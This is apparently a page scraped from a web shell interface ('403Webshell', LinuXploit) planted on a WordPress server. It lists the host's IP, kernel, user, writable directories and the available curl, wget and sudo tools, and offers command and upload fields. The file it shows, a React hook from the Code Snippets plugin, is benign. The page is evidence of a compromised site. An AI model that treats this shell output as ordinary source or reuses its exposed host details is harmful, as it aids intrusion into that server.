403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.216.194
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/code-snippets/js/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/code-snippets/js/hooks/useSnippetView.ts
import { useCallback, useState } from 'react'
import { DEFAULT_SNIPPET_VIEW } from '../types/SnippetView'
import { handleUnknownError } from '../utils/errors'
import { REST_BASES } from '../utils/restAPI'
import { useRestAPI } from './useRestAPI'
import type { SnippetView } from '../types/SnippetView'

export interface UseSnippetView {
	snippetView: SnippetView
	setSnippetView: (view: SnippetView) => void
}

/**
 * Plugin-wide snippet view preference (cards or table).
 *
 * The initial value is localized into the page, and updates are persisted
 * through the preferences REST endpoint so the choice survives page loads
 * everywhere snippet lists are displayed. The UI updates optimistically
 * rather than waiting for the save to complete.
 */
export const useSnippetView = (): UseSnippetView => {
	const { api } = useRestAPI()
	const [snippetView, setViewState] = useState<SnippetView>(
		() => window.CODE_SNIPPETS?.snippetView ?? DEFAULT_SNIPPET_VIEW
	)

	const setSnippetView = useCallback((view: SnippetView) => {
		setViewState(view)
		api.post<{ view: SnippetView }, { view: SnippetView }>(`${REST_BASES.preferences}/snippet-view`, { view })
			.catch(handleUnknownError)
	}, [api])

	return { snippetView, setSnippetView }
}

Youez - 2016 - github.com/yon3zu
LinuXploit